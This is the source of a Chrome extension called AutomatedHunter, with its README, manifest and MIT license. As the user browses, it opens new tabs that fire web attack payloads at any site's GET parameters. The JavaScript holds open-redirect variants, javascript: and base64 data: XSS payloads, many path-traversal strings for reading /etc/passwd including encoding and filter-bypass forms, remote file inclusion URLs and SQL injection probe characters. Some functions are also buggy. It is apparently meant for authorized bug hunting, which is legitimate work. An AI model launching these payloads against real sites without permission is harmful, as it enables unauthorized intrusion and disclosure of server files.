├── AutomatedHunter.js ├── LICENSE ├── README.md └── manifest.json /AutomatedHunter.js: -------------------------------------------------------------------------------- 1 | /** 2 | * This extension casually helps testing web apps. 3 | * 4 | * Author: Github.com/M507 5 | */ 6 | 7 | 8 | // Always out of scope sites. 9 | var outOfScopeList = ["chrome://newtab/", "google","undefined","stackoverflow","github","gitlab","linkedin","stackexchange","medium.com","example.com","microsoft.com","passwd",".gov","hackerone.com","chrome://","#DONE","AH=true","rit.edu","gov.sa","mohad.red","ibm.com","slack.com","elearnsecurity.com","microsoftonline.com","//192.","amazon.com" 10 | ]; 11 | 12 | // Open Redirect parameters. 13 | // TODO - ADD & with ? 14 | var openRedirectList = ["next=","url=","target=","rurl=","dest=","destination=","redir=","redirect_uri=","redirect_url=","redirect=","/redirect/","/cgi-bin/redirect.cgi?","/out/","/out?","view=","/login?to=","image_url=","go=","return=","returnTo=","return_to=","checkout_url=","continue=","return_path=","ReturnUrl="]; 15 | // SQL endpoint parameters. 16 | var SQLList = ["?id=","?q=","?search=","?title="]; 17 | // possible LFI/RFI parameters. 18 | var LFIList = ["?page="]; 19 | 20 | // Engagement scope. 21 | // Leave it blank if u don't want to use it. 22 | var scope = []; 23 | 24 | 25 | // The usual possible chars before parameters 26 | var splitter =["?","&"]; 27 | 28 | 29 | chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { 30 | var togoFlag = 1; 31 | // IF there is a scope defined, just test that scope. 32 | 33 | if (changeInfo.url === undefined){ 34 | togoFlag = 0; 35 | } else { 36 | 37 | if (changeInfo.url < 1){ 38 | togoFlag = 0; 39 | } 40 | 41 | var x; 42 | for (x in outOfScopeList) { 43 | if (changeInfo.url.includes(outOfScopeList[x].toString())) { 44 | togoFlag = 0; 45 | } 46 | } 47 | 48 | if (outOfScopeList.includes(changeInfo.url)) { 49 | togoFlag = 0; 50 | } 51 | 52 | } 53 | 54 | if (scope.length > 1) { 55 | togoFlag = 0; 56 | var xx; 57 | for (xx in outOfScopeList) { 58 | if (changeInfo.url.includes(scope[xx].toString())) { 59 | togoFlag = 1; 60 | }} 61 | } 62 | 63 | if (togoFlag){ 64 | openRedirectListScan(changeInfo.url); 65 | LFIScan(changeInfo.url); 66 | SQLScan(changeInfo.url); 67 | 68 | // Future work 69 | //crazyMode(); 70 | } 71 | 72 | }); 73 | 74 | 75 | function getDomain(url) { 76 | return url.split("/")[2]; 77 | } 78 | 79 | function openURL(url) { 80 | url = url+"&#DONE"; 81 | if(url!==undefined){ 82 | chrome.tabs.create({url:url}) 83 | } 84 | } 85 | 86 | function openRedirectListScan(url) { 87 | var x; 88 | var s; 89 | var v; 90 | for (s in splitter) { 91 | for (x in openRedirectList) { 92 | v = splitter[s].toString().concat(openRedirectList[x].toString()); 93 | if (url.includes(v)) { 94 | openRedirectListScanTechniques(v, url); 95 | } 96 | } 97 | } 98 | } 99 | 100 | function openRedirectListScanTechniques(v,url) { 101 | part1 = v; 102 | part2 = v +"example.com&"; 103 | u1 = url.replace(part1, part2); 104 | openURL(u1); 105 | part1 = v; 106 | part2 = v +getDomain(url)+".example.com&"; 107 | u2 = url.replace(part1, part2); 108 | openURL(u2); 109 | part1 = v +".example.com&"; 110 | part2 = v +".example.com&"+v; 111 | u3 = u2.replace(part1, part2); 112 | openURL(u3); 113 | part1 = v +getDomain(url)+".example.com&"; 114 | part2 = v +getDomain(url)+".example.com&"+v; 115 | u4 = u2.replace(part1, part2); 116 | openURL(u4); 117 | part1 = v; 118 | part2 = v +"example%E3%80%82com&"; 119 | u1 = url.replace(part1, part2); 120 | openURL(u1); 121 | part1 = v; 122 | part2 = v +getDomain(url)+"%E3%80%82example%E3%80%82com&"; 123 | u2 = url.replace(part1, part2); 124 | openURL(u2); 125 | // Trys 126 | part1 = v; 127 | part2 = v +"/\\/example.com&"; 128 | u1 = url.replace(part1, part2); 129 | openURL(u1); 130 | part1 = v; 131 | part2 = v+"//example.com&"; 132 | u1 = url.replace(part1, part2); 133 | openURL(u1); 134 | part1 = v; 135 | part2 = v +"Https://example.com&"; 136 | u1 = url.replace(part1, part2); 137 | openURL(u1); 138 | part1 = v; 139 | part2 = v +"http://%67%6f%6f%67%6c%65%2e%63%6f%6d&"; 140 | u1 = url.replace(part1, part2); 141 | openURL(u1); 142 | // XSS from data:// wrapper 143 | part1 = v; 144 | part2 = v +"javascript:prompt(1)&"; // 145 | u1 = url.replace(part1, part2); 146 | openURL(u1); 147 | // XSS from javascript:// wrapper 148 | part1 = v; 149 | part2 = v +"data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==&"; 150 | u2 = url.replace(part1, part2); 151 | openURL(u2); 152 | } 153 | 154 | 155 | function LFIScan(url) { 156 | var x; 157 | var v; 158 | for (s in splitter) { 159 | for (x in LFIList) { 160 | v = splitter[s].toString()+LFIList[x].toString() ; 161 | if (url.includes(v)) { 162 | LFIScanTechniques(x, url); 163 | } 164 | } 165 | } 166 | } 167 | 168 | function LFIScanTechniques(v,url) { 169 | // Basic 170 | part1 = v ; 171 | part2 = v +"../../../../../../../../../../etc/passwd&"; 172 | u1 = url.replace(part1, part2); 173 | openURL(u1); 174 | // Basic Null byte 175 | part1 = v ; 176 | part2 = v +"../../../../../../../../../../etc/passwd%00&"; 177 | u2 = url.replace(part1, part2); 178 | openURL(u2); 179 | // Double encoding 180 | part1 = v ; 181 | part2 = v +"%252e%252e%252e%252e%252e%252e%252e%252e%252fetc%252fpasswd&"; 182 | u3 = url.replace(part1, part2); 183 | openURL(u3); 184 | // Double encoding with Null byte 185 | part1 = v ; 186 | part2 = v +"%252e%252e%252e%252e%252e%252e%252e%252e%252fetc%252fpasswd%00&"; 187 | u4 = url.replace(part1, part2); 188 | openURL(u4); 189 | // UTF-8 encoding 190 | part1 = v ; 191 | part2 = v +"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&"; 192 | u5 = url.replace(part1, part2); 193 | openURL(u5); 194 | // UTF-8 encoding with Null byte 195 | part1 = v ; 196 | part2 = v +"%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&"; 197 | u6 = url.replace(part1, part2); 198 | openURL(u6); 199 | // Filter bypass tricks 200 | part1 = v ; 201 | part2 = v +"....//....//....//....//....//....//etc/passwd&"; 202 | u7 = url.replace(part1, part2); 203 | openURL(u7); 204 | part1 = v ; 205 | part2 = v +"..///////..////..//////etc/passwd&"; 206 | u8 = url.replace(part1, part2); 207 | openURL(u8); 208 | part1 = v ; 209 | part2 = v +"/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&"; 210 | u9 = url.replace(part1, part2); 211 | openURL(u9); 212 | 213 | // RFI 214 | part1 = v ; 215 | part2 = v +"example.com/index.html&"; 216 | u10 = url.replace(part1, part2); 217 | openURL(u10); 218 | part1 = v ; 219 | part2 = v +"example.com/index.html%00&"; 220 | u11 = url.replace(part1, part2); 221 | openURL(u11); 222 | 223 | } 224 | 225 | 226 | function SQLScan(url) { 227 | var x; 228 | var s; 229 | for (s in splitter) { 230 | for (x in SQLList) { 231 | v = splitter[s].toString()+SQLList[x].toString(); 232 | if (url.includes(v)) { 233 | SQLTechnique(x, url); 234 | } 235 | } 236 | } 237 | } 238 | 239 | function SQLTechnique(v,url) { 240 | // Entry point detection 241 | var c = ["'","\"","#",";",")","*","'"]; 242 | for (ii in c) { 243 | part1 = v; 244 | part2 = v +c[ii].toString()+"&"; 245 | u1 = url.replace(part1, part2); 246 | openURL(u1); 247 | } 248 | } 249 | 250 | 251 | 252 | 253 | //////////////////////////////////////////////////////////////////////////////////// 254 | // 255 | // This is a new different project which needs more than just setting paramters and values. 256 | // The reason is that we need to understand how it works, what kind of value we are facing, 257 | // is it an email, name, id, token, or what!!! 258 | // 259 | //////////////////////////////////////////////////////////////////////////////////// 260 | 261 | function crazyModeGetSetOfParamters(url){ 262 | setOfParamters = url.replace('?', '&').split("&"); 263 | setOfParamters = setOfParamters.splice(0, 1); // At index 0 remove one 264 | return setOfParamters 265 | } 266 | 267 | function crazyMode(url) { 268 | setOfParamters = crazyModeGetSetOfParamters(url); // ["id=1","name=kaka","parameter=value"] 269 | for (i in setOfParamters) { 270 | set = setOfParamters[i].split("="); 271 | parameter = set[0]; 272 | value = set[1]; 273 | } 274 | } 275 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Mohad 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AutomatedHunter 2 | Google Chrome Extension automates testing fundamental Web Problems via Chrome 3 | 4 | The idea is to scan some common parameters semi-automatically without the need to entirely doing it manually and without using vulnerability scanners. The solution I implemented is a browser extension that detects these common parameters while browsing and tests them immediately and spawns up every test on a different tab to manually look at the resulting response. So far, it tests GET request parameters for common vulnerabilities like Local file inclusion, Remote File Inclusion, Endpoint SQL injection, and open redirect. 5 | 6 | 7 | This is a simplified version without many tests. If you have cool ideas/tests/methodologies exploiting a specific type of vulnerability let's merge them togother :) 8 | 9 | ### Installation: 10 | - Enable Chrome developer mode. 11 | - Load the extension. (After configuring the scope) 12 | - Start browsing the site you are testing. 13 | - It will spawn up new tabs for each basic test. 14 | 15 | ### Future 16 | If you want to invest time to imporve it, here are some ideas I think it worth considering and easy to implement over GET requests. 17 | - Http parameter pollution. 18 | - Command injection. 19 | - Template Injection. 20 | - Memory vulnerabilities. (Maybe?) 21 | 22 | [Read more + Demo](https://mohad.red/AutoHunter) 23 | -------------------------------------------------------------------------------- /manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "AutomatedHunter", 3 | "version": "0.001", 4 | "manifest_version": 2, 5 | "description": "AutomatedHunter is a Chrome Extension that tests basic web problems By Github.com/M507 .", 6 | "background": { 7 | "scripts": ["AutomatedHunter.js"] 8 | }, 9 | "permissions": [ 10 | "", 11 | "tabs", 12 | "activeTab", 13 | "storage", 14 | "unlimitedStorage", 15 | "background", 16 | "http://*/*", 17 | "https://*/*", 18 | "cookies", 19 | "webNavigation", 20 | "webRequest" 21 | ] 22 | } 23 | --------------------------------------------------------------------------------